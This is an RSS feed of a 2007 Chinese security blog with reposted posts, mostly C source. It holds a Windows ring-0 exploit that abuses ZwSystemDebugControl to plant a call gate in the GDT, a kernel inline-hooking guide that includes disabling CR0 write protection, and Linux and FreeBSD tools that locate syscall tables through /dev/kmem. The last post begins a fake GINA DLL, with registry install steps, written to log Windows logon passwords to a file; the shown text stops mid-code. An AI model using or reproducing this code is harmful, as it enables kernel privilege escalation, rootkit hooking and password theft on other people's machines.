PHP博客-GaRY's Blog-随笔分类-Systemhttp://www.phpweblog.net/GaRY/category/235.htmlBeginning is always beautifulzh-cnSun, 05 Aug 2007 09:27:47 GMTSun, 05 Aug 2007 09:27:47 GMT60[zt]利用NtSystemDebugControl进入Ring0的源代码http://www.phpweblog.net/GaRY/archive/2007/08/05/1679.htmlwofeiwowofeiwoSun, 05 Aug 2007 05:03:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/08/05/1679.htmlhttp://www.phpweblog.net/GaRY/comments/1679.htmlhttp://www.phpweblog.net/GaRY/archive/2007/08/05/1679.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1679.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1679.html
/*

* Discovered and coded by randnut Jan 25, 2004

* I just add my callgate routine, hope you enjoy it, hehe.  ------zjjmj2002

*/

#include <windows.h>

#include <stdio.h>

typedef int NTSTATUS;

typedef DWORD ULONG_PTR;

#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;

const IA32_SYSENTER_ESP = 0x175;

const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;

const CmosIndx = 0x0E;        // CMOS Diagnostic Status

const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}

#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {

DebugSysReadIoSpace = 14,

DebugSysWriteIoSpace = 15,

DebugSysReadMsr = 16,

DebugSysWriteMsr = 17,

DebugSysReadBusData = 18,

DebugSysWriteBusData = 19,

} DEBUG_CONTROL_CODE;


typedef enum _BUS_DATA_TYPE {

ConfigurationSpaceUndefined = -1,

Cmos,

EisaConfiguration,

Pos,

CbusConfiguration,

PCIConfiguration,

VMEConfiguration,

NuBusConfiguration,

PCMCIAConfiguration,

MPIConfiguration,

MPSAConfiguration,

PNPISAConfiguration,

SgiInternalConfiguration,

MaximumBusDataType

} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 

struct MyCallGate
{

WORD      OFFSETL;

WORD      SELECTOR;

BYTE      DCOUNT;

BYTE      GTYPE;

WORD      OFFSETH;

DWORD    CodeLimit;

DWORD    CodeBase;

};


typedef struct _BUS_STRUCT {

ULONG  Offset;

PVOID  Buffer;

ULONG  Length;

BUS_DATA_TYPE  BusDataType;

ULONG  BusNumber;

ULONG  SlotNumber;

} BUS_STRUCT;

typedef

NTSTATUS

(NTAPI *PZwSystemDebugControl)(

DEBUG_CONTROL_CODE ControlCode,

PVOID InputBuffer,

ULONG InputBufferLength,

PVOID OutputBuffer,

ULONG OutputBufferLength,

PULONG ReturnLength

);

PZwSystemDebugControl ZwSystemDebugControl = NULL;


int CmosRead(int offs, BYTE** ppAddr = NULL)

{

BYTE buf;

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr ? *ppAddr : &buf;

bus.Offset = 0;

bus.Length = 1;

if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, 

NULL) < 0)

return -1;

else

return ppAddr ? 0x100 : buf;

}


int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)

{

BUS_STRUCT bus;

bus.BusDataType = Cmos;

bus.BusNumber = 0;

bus.SlotNumber = offs;

bus.Buffer = ppAddr == NULL ? &val : *ppAddr;

bus.Offset = 0;

bus.Length = 1;

return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 

0, NULL) >= 0;

}


int WriteMem(DWORD MemAddr, BYTE Value)

{
int OldVal = CmosRead(CmosIndx);
BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
CmosWrite(CmosIndx, Value);
CmosRead(CmosIndx, &p);
CmosWrite(CmosIndx, OldVal);

return 1;
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)

{

TOKEN_PRIVILEGES tok;

tok.PrivilegeCount = 1;

tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));

FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

return 1;

}

void CallGate()
{    

MyCallGate    CallGate;
DWORD        GDTBase;    
    _asm
    {            
        PUSH EDX
        SGDT FWORD PTR SS:[ESP-2]
        POP EDX
        MOV GDTBase,EDX
        MOV CallGate.OFFSETL,DX
        SHR EDX,16
        MOV CallGate.OFFSETH,DX
    }    
    
    CallGate.SELECTOR = 0x358;
    CallGate.DCOUNT = 0;
    CallGate.GTYPE = 0xec;
    CallGate.CodeLimit = 0xffff;
    CallGate.CodeBase = 0xcf9a00;    //Build My CallGate
    
    WriteMem(GDTBase, 0xc3);
    
    GDTBase = GDTBase+0x350;
    for ( int i=0 ; i<=15 ; i++ )
    {
        BYTE p;
        DWORD *q;
        
        _asm
        {
            LEA ESI,CallGate
            ADD ESI,i
            XOR EAX,EAX
            LODSB
            MOV p,AL    
        }    
        
        
        WriteMem(GDTBase+i, p);
    }
}  

int main(int argc, char* argv[])
{
    HMODULE hNtdll;
    FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
    FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, 
"ZwSystemDebugControl")) != NULL);

    HANDLE hToken;
    FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | 
TOKEN_QUERY, &hToken));
    FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));
        
    CallGate();
    return 0;    
}


wofeiwo 2007-08-05 13:03 发表评论
]]>[zt]detours， x86 kernel hook 以及 x64 kernel hookhttp://www.phpweblog.net/GaRY/archive/2007/07/11/1496.htmlwofeiwowofeiwoTue, 10 Jul 2007 16:54:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/07/11/1496.htmlhttp://www.phpweblog.net/GaRY/comments/1496.htmlhttp://www.phpweblog.net/GaRY/archive/2007/07/11/1496.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1496.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1496.html我假设读者已经非常熟悉detours，阅读此文只是为了增强对detours的理解以及为了实现x64 hook。有关detours原理部分不再多讲。

X86 Kernel Hook
早些年，我把detours1.5移植到x86核心层，工作的不错，我一直用它来hook系统一些内部函数，有时候也用来hook IoCreateFile这类导出函数。让detours1.5在核心工作稳定并不是一件困难的事情。可能有些c/c++的麻烦，但是很快就可以解决。唯一需要注意的地方是detours1.5用VirtualProtect来让内存READ_WRITE_EXECUTE，在核心层有2种方法，第一种是群众所喜闻乐见的清除cr0，第二种是在核心层通过调用native api做VirtualProtect的事情。
detours的方法对比import/export方法有一些很明显的好处，其最大的好处是可以用来hook内部函数。而且由于hook的方法是直接修改函数体，所以不管调用者怎么玩花样，都很难绕过hook。
detours的缺点主要如下：
1，detours x86无法hook小于5字节的函数
2，detours x86需要一个完备的反汇编器和解释器，实际上detours代码中并不包含这个，因此，如果需要写一个函数阻止他人hook，可以这么写：
  proc near
      xor eax,eax
      jeax 1
      int 3
      ... // do something
    proc end
注意到这里的这个jmp，因为eax肯定为0，所以该int3不会被调用，而被detours过的代码则很可能走到int3上去了，为了让detours的代码不走到int3，detours必须能够解析出前面3行代码的意思，并且修正jeax 1为jeax 1+(trampoline-function)。用类似的技术，也可以欺骗detours。
3，detours x86无法处理如下函数：
  proc near
flag: ... // 函数前5个字节
    .... //do something
    jmp flag
    .... // do something
    proc end
该函数执行体中有一个jmp，跳到前5个字节。可是被detours过之后，该函数的前5个字节被修改了，而且改成了jmp trampoline。为了能够让detours可以处理此操作，必须反汇编解析整个函数体，用2种所描述的方法修改jmp flag。

综上述，detours思路很好，但是存在缺陷，要搞定这些缺陷，需要完整反汇编器。

X64 Kernel Hook
最近有一个需求要在x64下实现类似的hook模块，我找到了detours2.1，给MS发了email，MS的答复是，包含64bit的detours2.1，需要10000 USD。
于是我就删掉了MS的email，开始自己动手来做这个事情了。我大致说一下原理和需要注意的地方。

x64 hook和x86 hook的原理相似，都是修改原函数的首地址。不同的是，x64下不存在
jmp 64_address这种指令，x86下要跨4G跳转，必须是jmp [64_address]，对应的汇编码不再是e9 xxxxxxxx，而是ff15 [xxxxxxxx]，其中xxxxxxxx保存的是一个64_address。注意xxxxxxxx依然是32位，所以，该内存也必须和function处于同一个4G。

这个限制对于普通的代码编译来说，并不存在太大的问题，因为很少有exe超过4G的。所以编译器生成的代码依然使用e9 xxxxxxxx。对于import的dll来说，通常都是call [xxxxxxxx]，以前是这样，现在还是这样，不同的是，[xxxxxxxx]以前指向32位的地址，现在指向64位的地址。这样一来，dll加载的位置和exe所在的位置不在同一个4G也没有关系了。

对于detours来说，受上面所述特性影响的是，trampoline通常位于heap memory/nonpaged pool，new_function位于我们自己所写代码的dll/driver中，old_function位于我们所需要hook的那个模块中。这里面存在一个基本矛盾是，new_function通常和old_function分别处于2个不同dll或者.sys中，系统很可能把他们加载到了距离很远的空间中，也即abs(new_function-old_function)>4G。这样一来，就无法使用e9 xxxxxxxx，而必须使用ff15 [xxxxxxxx]了，而且xxxxxxxx是一个32的偏移，所以[xxxxxxxx]还不能位于我们的dll/sys中。

根据以上的分析，最后可以得出如下算法：
1，找到需要hook的函数地址
2，解析从函数起始地址开始，至少6+8=14个字节的代码。代码不能断开。以上2个过程和detourx86一样，不同的是，detoursx86之需要e9 xxxxxxxx，也就是说只需要5个字节，而我们必须用ff15 [xxxxxxxx]。如果函数体小于14个字节，这意味着该函书无法detours。
不过函数体小于14字节多半是因为里面执行了一个call或者jmp，那么解析该代码，把函数起始地址设置为jmp之后的地址，重新进行2过程。
3，把这14或者15，16...个字节拷贝到预先分配的一块内存中，我们叫它trampoline。
4，把前6个字节改为ff15 [0]，也即ff15 00000000
5，在随后的8个字节中保存new_function的起始地址
6，修正trampoline中的14字节的代码，如果里面有jmp，call等跳转语句，修改偏移量，这时候通常又需要跨4G的跳转，那么按照上面的方法修改之，trampoline的字节数可能会增加。
7，在trampoline的代码之后，插入ff15 [0]，并且在随后的8个字节中填充old_function+14。

trampoline可以预先分配一个100字节的buffer，初始化全部填充为nop，在进行7的时候，可以从trampoline的底部，也即100-14的位置开始填入ff,15,00,00,00,00, 64_bit_old_function+14(15,16...)。

以上算法的缺点和x86 detours的缺点一样，第一条为无法hook函数体小于14字节的函数。

14个字节相当大，有时候这个缺陷不可忍受，为此，介绍一种更为肮脏的手段。

代码加载到内存中时，通常有很多废空间，也即，在这些空间中，只有nop，或者永远不会执行。用IDA可以找到这些空间。如果能够找到足够大到，以至于可以保存一个64位地址的空间的话，那么可以只修改前5个字节为jmp [xxxxxxxx]，同时只拷贝5个字节到trampoline。trampoline的底部14个字节照旧。

以上就是x64下的detours过程。

有一个x64下需要注意的问题，vc8不支持x64下的_asm关键字，所以
_asm{
cli
mov eax,cr0
and eax,not 1000h
mov cr0,eax }不能再用
取而代之的是
_disable();
uint64 cr0=__readcr0();
cr0 &= 0xfffffffffffeffff;
__writecr0(cr0);
当然还可以继续用native api，不过以上方法简洁而且为广大群众所喜闻乐见。有关于_disable等函数，请查阅新版msdn。

至于IA64，我对此一无所知。

顺便说几点：
1，EM64T的cpu上可以run win64os，但是，不知为何，vmware无法在EM64T的cpu上install/run win64os。而amd64 cpu上即便安装的是win32 os，也可以在其上的vmware里install/run win64os。
2，softice已经停止开发，而且不支持x64，只有virtual模式才支持。鉴于其已经停止开发，建议大家都使用windbg。
3，idapro 5.0反汇编x64的代码，错误百出，一团乱麻，基本上需要先U再C。

因为14字节的限制太大，以至于始终觉得不爽。后来想到了一个解决方案。

假设原函数是old_func，新函数是new_func，那么分配trampoline的时候，用某些技术方法，限定分配出的内存和old_func在同一个4G。可以通过VirtualAlloc实现，具体方法可以是多次改变第一个参数，调用VirtualAlloc，直到返回值不为NULL为止。

这样一来，detours的逻辑改变为：

1，首先把old_func的前5个字节拷贝到trampoline+14，然后修改为jmp offset，也即e9 trampoline-5-old
2，trampoline的前6字节为ff15 [0],接下来的8个字节为new_func_address
3，trampoline+14+5之后的5个字节为jmp (trampoline+14+5+5 - (old_func_addr+5))

这样调用old的时候，会首先执行jmp offset到trampoline，trampoline又jmp到了new_func，new_func调用old的时候，会直接跳到trampoline+14处，执行原来的前5个字节，然后再jmp会原函数体。

如此，一切都完美了 :)


wofeiwo 2007-07-11 00:54 发表评论
]]>Get Sysent Address On FreeBSDhttp://www.phpweblog.net/GaRY/archive/2007/06/18/get_syent_address_on_freebsd.htmlwofeiwowofeiwoMon, 18 Jun 2007 11:09:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/18/get_syent_address_on_freebsd.htmlhttp://www.phpweblog.net/GaRY/comments/1389.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/18/get_syent_address_on_freebsd.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1389.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1389.html但是如果是ring3下Patch on fly呢?和linux一样,都是读取/dev/kmem或者/dev/mem
开始走了点弯路,以为和linux一样需要到内核函数代码中去查找,于是做了如下分析( 可见不google自以为是的坏处:( )

FreeBSD# uname -a
FreeBSD FreeBSD.0x1057 6.0-RELEASE FreeBSD 6.0-RELEASE #0: Thu Nov  3 09:36:13 UTC 2005    //系统是6.0的FREEBSD root@x64.samsco.home:/usr/obj/usr/src/sys/GENERIC  i386
FreeBSD# gdb -q /boot/kernel/kernel
(no debugging symbols found)...(gdb) p &sysent
$1 = (<data variable, no debug info> *) 0xc08bdf60 //sysent地址
(gdb) q
FreeBSD# objdump -d /boot/kernel/kernel | grep 0xc08bdf60 //查找sysent地址在内核中出现的位置
c063ec4a:       8b 90 60 df 8b c0       mov    0xc08bdf60(%eax),%edx
c063ec6e:       89 90 60 df 8b c0       mov    %edx,0xc08bdf60(%eax)
c063ecac:       89 90 60 df 8b c0       mov    %edx,0xc08bdf60(%eax)
FreeBSD# gdb -q /boot/kernel/kernel
(no debugging symbols found)...(gdb) disass 0xc063ec40 //反汇编此地址
Dump of assembler code for function syscall_register: //在函数体syscall_register内
0xc063ebc4 <syscall_register+0>:        push   %ebp
0xc063ebc5 <syscall_register+1>:        mov    %esp,%ebp
0xc063ebc7 <syscall_register+3>:        push   %edi
0xc063ebc8 <syscall_register+4>:        push   %esi
.....
.....
0xc063ec36 <syscall_register+114>:      cmpl   $0xc063ebb4,0xc08bdf64(%eax)
0xc063ec40 <syscall_register+124>:      jne    0xc063ec8b <syscall_register+199>
0xc063ec42 <syscall_register+126>:      mov    (%ebx),%eax
0xc063ec44 <syscall_register+128>:      lea    (%eax,%eax,2),%eax
0xc063ec47 <syscall_register+131>:      shl    $0x2,%eax
0xc063ec4a <syscall_register+134>:      mov    0xc08bdf60(%eax),%edx  //找到
0xc063ec50 <syscall_register+140>:      mov    %edx,(%esi)
---Type <return> to continue, or q <return> to quit---q
Quit
(gdb) x/xw (syscall_register+134)
0xc063ec4a <syscall_register+134>:      0xdf60908b //字节码是这样的阿
(gdb) q
FreeBSD#

于是速度动手,写了个第一版本获取sysent地址的代码:

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>

#define SIZE    0x100 // 搜索0x100个字节

int
main(int argc, char *argv[])
{
    char errbuf[_POSIX2_LINE_MAX], *p;
    kvm_t *kd;
    struct nlist nl[] = { {NULL}, {NULL}, };
    unsigned char syscall_register_code[SIZE]; // 保存原始函数字节码
    unsigned sct;

    kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);// 打开/dev/mem
    if (kd == NULL) {
        fprintf(stderr, "ERROR: %s\n", errbuf);
        exit(-1);
    }

    nl[0].n_name = "syscall_register";

    if (kvm_nlist(kd, nl) < 0) { // 查找syscall_register
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }

    if (!nl[0].n_value) {
        fprintf(stderr, "ERROR: Symbol %s not found\n", nl[0].n_name);
        exit(-1);
    }

    if (kvm_read(kd, nl[0].n_value, syscall_register_code, SIZE) < 0) { // 保存字节码
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }

    p = (char *) memmem(syscall_register_code, SIZE, "\x8b\x90", 2); // 查找 mov    0xc08bdf60(%eax),%edx
    sct = *(unsigned*)(p+2);

    printf ("sysent at 0x%x\n", sct);

    if (kvm_close(kd) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }

    exit(0);
}

结果也如人所愿:

FreeBSD# gcc -o getsysent getsysent.c -lkvm
FreeBSD# ./getsysent
sysent at 0xc08bdf60

到这里突然发现一个问题,如果能直接从/dev/mem获取syscall_register符号的地址,那么也就能直接获取sysent

#include <fcntl.h>
#include <kvm.h>
#include <limits.h>
#include <nlist.h>
#include <stdio.h>
#include <sys/types.h>

int
main(int argc, char *argv[])
{
    char errbuf[_POSIX2_LINE_MAX];
    kvm_t *kd;
    struct nlist nl[] = { {NULL}, {NULL}, };

    if(argc != 2) return 0;

    kd = kvm_openfiles(NULL, NULL, NULL, O_RDWR, errbuf);// 打开/dev/mem
    if (kd == NULL) {
        fprintf(stderr, "ERROR: %s\n", errbuf);
        exit(-1);
    }

    nl[0].n_name = argv[1];

    if (kvm_nlist(kd, nl) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }

    if (!nl[0].n_value) {
        fprintf(stderr, "ERROR: Symbol %s not found\n", nl[0].n_name);
        exit(-1);
    }

    printf ("%s at 0x%x\n", nl[0].n_name, nl[0].n_value);

    if (kvm_close(kd) < 0) {
        fprintf(stderr, "ERROR: %s\n", kvm_geterr(kd));
        exit(-1);
    }

    exit(0);
}

结果:

FreeBSD# gcc -o getsysent2 getsysent2.c -lkvm
FreeBSD# ./getsysent2 sysent
sysent at 0xc08bdf60
FreeBSD# ./getsysent2 syscall
syscall at 0xc0807c90


也成功了,看来在FreeBSD里使用kvm库对mem等操作果然方便很多:)




wofeiwo 2007-06-18 19:09 发表评论
]]>Get Sys_call_table Address On Linuxhttp://www.phpweblog.net/GaRY/archive/2007/06/17/get_sys_call_table_address.htmlwofeiwowofeiwoSun, 17 Jun 2007 10:04:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/17/get_sys_call_table_address.htmlhttp://www.phpweblog.net/GaRY/comments/1385.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/17/get_sys_call_table_address.html#Feedback1http://www.phpweblog.net/GaRY/comments/commentRss/1385.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1385.html捣鼓了几天,把常用软件都装上了.然后开始熟悉熟悉linux下的编程

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/mman.h>
#define CALLOFF 100 //读取100字节

struct {

    unsigned short limit;

    unsigned int base;

} __attribute__ ((packed)) idtr;    //这个结构表示IDTR寄存器，这个寄存器中保存中断描述符表 的地址


struct {

    unsigned short off1;

    unsigned short sel;

    unsigned char none,flags;

    unsigned short off2;

} __attribute__ ((packed)) idt;    //中断描述符表中的内容：中断门描述符


unsigned int old_readkmem (int fd, void * buf,size_t off,unsigned int size) //用read方式读取kmem中一定长度内容

{

    if (lseek(fd, off,SEEK_SET)!=off)
    {

        //perror("fd lseek"); 
        return 0;
    }

    if (read(fd, buf,size)!=size) 
    {

        //perror("fd read"); 
        return 0;
    }

}


unsigned long  readkmem (int fd, void * buf, size_t off, unsigned int size)//用mmap方式从kmem中读取一定长度内容
{
    size_t    moff, roff;
    size_t     sz = getpagesize();
    
    char * kmap;
    
    unsigned long  ret_old = old_readkmem(fd, buf, off, size); //先用老方法读取,不行再用mmap
    if (ret_old != 0)
        return ret_old;
    
    moff = ((size_t)(off/sz)) * sz;       
    roff = off - moff;   
    
    kmap = mmap(0, size+sz, PROT_READ, MAP_PRIVATE, fd, moff);
    
    if (kmap == MAP_FAILED)
    {
        perror("readkmem: mmap");
        return 0;
    }
    
    memcpy (buf, &kmap[roff], size);
    
    if (munmap(kmap, size) != 0)
    {
        perror("readkmem: munmap");
        return 0;
    }
    
    return size;
}

int main (int argc, char **argv)

{

    unsigned sys_call_off;

    int kmem_fd;    // /dev/kmem文件描述符

    unsigned sct;

    char sc_asm[CALLOFF],*p;

    
        /* 获得IDTR寄存器的值 */

    asm ("sidt %0" : "=m" (idtr));

    printf("idtr base at 0x%X\n",(int)idtr.base);

    
        /* 打开kmem */

    kmem_fd = open ("/dev/kmem",O_RDONLY);

    if (kmem_fd<0) return 1;

    
        /* 从IDT读出0x80向量 (syscall) */

    readkmem (kmem_fd, &idt,idtr.base+8*0x80,sizeof(idt)); //idtr.base+8*0x80 表示80中断描述符的偏移

    sys_call_off = (idt.off2 << 16) | idt.off1;        //idt.off2 表示地址的前16位，得到syscall地址

    printf("idt80: flags=%X sel=%X off=%X\n", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off);

    
        /* 寻找sys_call_table的地址 */

    readkmem (kmem_fd, sc_asm,sys_call_off,CALLOFF);      

    p = (char*)memmem (sc_asm,CALLOFF,"\xff\x14\x85",3);  //只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了,call something(,eax,4)指令的机器码是0xff 0x14 0x85，因此搜索这个字符串。 

    sct = *(unsigned*)(p+3); //sys_call_table地址就在0xff 0x14 0x85之后

    if (p) 
    {

        printf ("sys_call_table at 0x%x, call dispatch at 0x%x\n", sct, p);

    }

    close(kmem_fd);
    return 0;
}

测试结果:






wofeiwo 2007-06-17 18:04 发表评论
]]>Ginahttp://www.phpweblog.net/GaRY/archive/2007/06/07/gina_log_password.htmlwofeiwowofeiwoThu, 07 Jun 2007 13:45:00 GMThttp://www.phpweblog.net/GaRY/archive/2007/06/07/gina_log_password.htmlhttp://www.phpweblog.net/GaRY/comments/1366.htmlhttp://www.phpweblog.net/GaRY/archive/2007/06/07/gina_log_password.html#Feedback0http://www.phpweblog.net/GaRY/comments/commentRss/1366.htmlhttp://www.phpweblog.net/GaRY/services/trackbacks/1366.html#define UNICODE
#include <windows.h>
#include <stdio.h>
#include <Winwlx.h>
#define LOGFILE L"c:\\logoninfo.log"

//将这个DLL拷到system32目录下，并在注册表中加入：
//HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
//加一个GinaDLL,类型RegSZ, 内容为你的dll名，如:'fakegina.dll'.
//重启机器，系统就会使用你的gina

typedef BOOL
(WINAPI *
pWlxNegotiate)(
    DWORD                   dwWinlogonVersion,
    PDWORD                  pdwDllVersion
    );

typedef BOOL
(WINAPI *
pWlxInitialize)(
    LPWSTR                  lpWinsta,
    HANDLE                  hWlx,
    PVOID                   pvReserved,
    PVOID                   pWinlogonFunctions,
    PVOID *                 pWlxContext
    );

typedef VOID
(WINAPI *
pWlxDisplaySASNotice)(
    PVOID                   pWlxContext
    );


typedef int
(WINAPI *
pWlxLoggedOutSAS)(
    PVOID                   pWlxContext,
    DWORD                   dwSasType,
    PLUID                   pAuthenticationId,
    PSID                    pLogonSid,
    PDWORD                  pdwOptions,
    PHANDLE                 phToken,
    PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo,
    PVOID *                 pProfile
    );

typedef BOOL
(WINAPI *
pWlxActivateUserShell)(
    PVOID                   pWlxContext,
    PWSTR                   pszDesktopName,
    PWSTR                   pszMprLogonScript,
    PVOID                   pEnvironment
    );

typedef int
(WINAPI *
pWlxLoggedOnSAS)(
    PVOID                   pWlxContext,
    DWORD                   dwSasType,
    PVOID                   pReserved
    );

typedef VOID
(WINAPI *
pWlxDisplayLockedNotice)(
    PVOID                   pWlxContext
    );

typedef int
(WINAPI *
pWlxWkstaLockedSAS)(
    PVOID                   pWlxContext,
    DWORD                   dwSasType
    );

typedef BOOL
(WINAPI *
pWlxIsLockOk)(
    PVOID                   pWlxContext
    );

typedef BOOL
(WINAPI *
pWlxIsLogoffOk)(
    PVOID                   pWlxContext
    );

typedef VOID
(WINAPI *
pWlxLogoff)(
    PVOID                   pWlxContext
    );


typedef VOID
(WINAPI *
pWlxShutdown)(
    PVOID                   pWlxContext,
    DWORD                   ShutdownType
    );


//
// NEW for version 1.1
//
typedef BOOL
(WINAPI *
pWlxScreenSaverNotify)(
    PVOID                   pWlxContext,
    BOOL *                  pSecure);

typedef BOOL
(WINAPI *
pWlxStartApplication)(
    PVOID                   pWlxContext,
    PWSTR                   pszDesktopName,
    PVOID                   pEnvironment,
    PWSTR                   pszCmdLine
    );

//
// New for 1.3
//

typedef BOOL
(WINAPI *
pWlxNetworkProviderLoad)(
    PVOID                   pWlxContext,
    PWLX_MPR_NOTIFY_INFO    pNprNotifyInfo
    );


typedef BOOL
(WINAPI *
pWlxDisplayStatusMessage)(
    PVOID                   pWlxContext,
    HDESK                   hDesktop,
    DWORD                   dwOptions,
    PWSTR                   pTitle,
    PWSTR                   pMessage
    );

typedef BOOL
(WINAPI *
pWlxGetStatusMessage)(
    PVOID                   pWlxContext,
    DWORD *                 pdwOptions,
    PWSTR                   pMessage,
    DWORD                   dwBufferSize
    );

typedef BOOL
(WINAPI *
pWlxRemoveStatusMessage)(
    PVOID                   pWlxContext
    );

pWlxNegotiate                prcWlxNegotiate = NULL;
pWlxInitialize                prcWlxInitialize = NULL;
pWlxDisplaySASNotice        prcWlxDisplaySASNotice = NULL;
pWlxLoggedOutSAS            prcWlxLoggedOutSAS = NULL;
pWlxActivateUserShell        prcWlxActivateUserShell = NULL;
pWlxLoggedOnSAS                prcWlxLoggedOnSAS = NULL;
pWlxDisplayLockedNotice        prcWlxDisplayLockedNotice = NULL;
pWlxWkstaLockedSAS            prcWlxWkstaLockedSAS = NULL;
pWlxIsLockOk                prcWlxIsLockOk = NULL;
pWlxIsLogoffOk                prcWlxIsLogoffOk = NULL;
pWlxLogoff                    prcWlxLogoff = NULL;
pWlxShutdown                prcWlxShutdown = NULL;
pWlxScreenSaverNotify        prcWlxScreenSaverNotify = NULL;
pWlxStartApplication        prcWlxStartApplication = NULL;
pWlxNetworkProviderLoad        prcWlxNetworkProviderLoad = NULL;
pWlxDisplayStatusMessage    prcWlxDisplayStatusMessage = NULL;
pWlxGetStatusMessage        prcWlxGetStatusMessage = NULL;
pWlxRemoveStatusMessage        prcWlxRemoveStatusMessage = NULL;

HINSTANCE hGina = NULL;

BOOL LoadMsGina(){
    hGina = LoadLibrary(L"msgina.dll");
    if (hGina){
        prcWlxNegotiate = (pWlxNegotiate)GetProcAddress(hGina, "WlxNegotiate");
        prcWlxInitialize = (pWlxInitialize)GetProcAddress(hGina, "WlxInitialize");
        prcWlxDisplaySASNotice = (pWlxDisplaySASNotice )GetProcAddress(hGina, "WlxDisplaySASNotice");
        prcWlxLoggedOutSAS = (pWlxLoggedOutSAS)GetProcAddress(hGina, "WlxLoggedOutSAS");
        prcWlxActivateUserShell = (pWlxActivateUserShell)GetProcAddress(hGina, "WlxActivateUserShell");
        prcWlxLoggedOnSAS = (pWlxLoggedOnSAS)GetProcAddress(hGina, "WlxLoggedOnSAS");
        prcWlxDisplayLockedNotice = (pWlxDisplayLockedNotice)GetProcAddress(hGina, "WlxDisplayLockedNotice");
        prcWlxWkstaLockedSAS = (pWlxWkstaLockedSAS)GetProcAddress(hGina, "WlxWkstaLockedSAS");
        prcWlxIsLockOk = (pWlxIsLockOk)GetProcAddress(hGina, "WlxIsLockOk");
        prcWlxIsLogoffOk = (pWlxIsLogoffOk)GetProcAddress(hGina, "WlxIsLogoffOk");
        prcWlxLogoff = (pWlxLogoff)GetProcAddress(hGina, "WlxLogoff");
        prcWlxShutdown = (pWlxShutdown)GetProcAddress(hGina, "WlxShutdown");
        prcWlxScreenSaverNotify = (pWlxScreenSaverNotify)GetProcAddress(hGina, "WlxScreenSaverNotify");
        prcWlxStartApplication = (pWlxStartApplication)GetProcAddress(hGina, "WlxStartApplication");
        prcWlxNetworkProviderLoad = (pWlxNetworkProviderLoad)GetProcAddress(hGina, "WlxNetworkProviderLoad");
        prcWlxDisplayStatusMessage = (pWlxDisplayStatusMessage)GetProcAddress(hGina, "WlxDisplayStatusMessage");
        prcWlxGetStatusMessage = (pWlxGetStatusMessage)GetProcAddress(hGina, "WlxGetStatusMessage");
        prcWlxRemoveStatusMessage = (pWlxRemoveStatusMessage)GetProcAddress(hGina, "WlxRemoveStatusMessage");
        return prcWlxNegotiate && prcWlxInitialize && prcWlxDisplaySASNotice && prcWlxLoggedOutSAS
            && prcWlxActivateUserShell && prcWlxLoggedOnSAS && prcWlxDisplayLockedNotice
            && prcWlxWkstaLockedSAS && prcWlxIsLockOk && prcWlxIsLogoffOk && prcWlxLogoff
            && prcWlxShutdown && prcWlxScreenSaverNotify && prcWlxStartApplication
            && prcWlxNetworkProviderLoad && prcWlxDisplayStatusMessage && prcWlxGetStatusMessage
            && prcWlxRemoveStatusMessage;
    }
    else 
        return FALSE;
}

HINSTANCE myHandle = NULL;//实例句柄

typedef struct {
  HANDLE hWlx;
  LPWSTR station;
  //PWLX_DISPATCH_VERSION_1_3 pWlxFuncs;
  HANDLE hDllInstance;
  HANDLE UserToken;
} GINA_CONTEXT, * PGINA_CONTEXT;

void ReleaseMsGina()
{
    if (hGina){
        FreeLibrary(hGina);
    }
}

void WriteInfo(char * buf);//显示ASCII字符串信息
void WriteInfoW(PWSTR WideStr);//显示unicode字符串信息
void SaveLog(char* c,int num);//日志保存

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
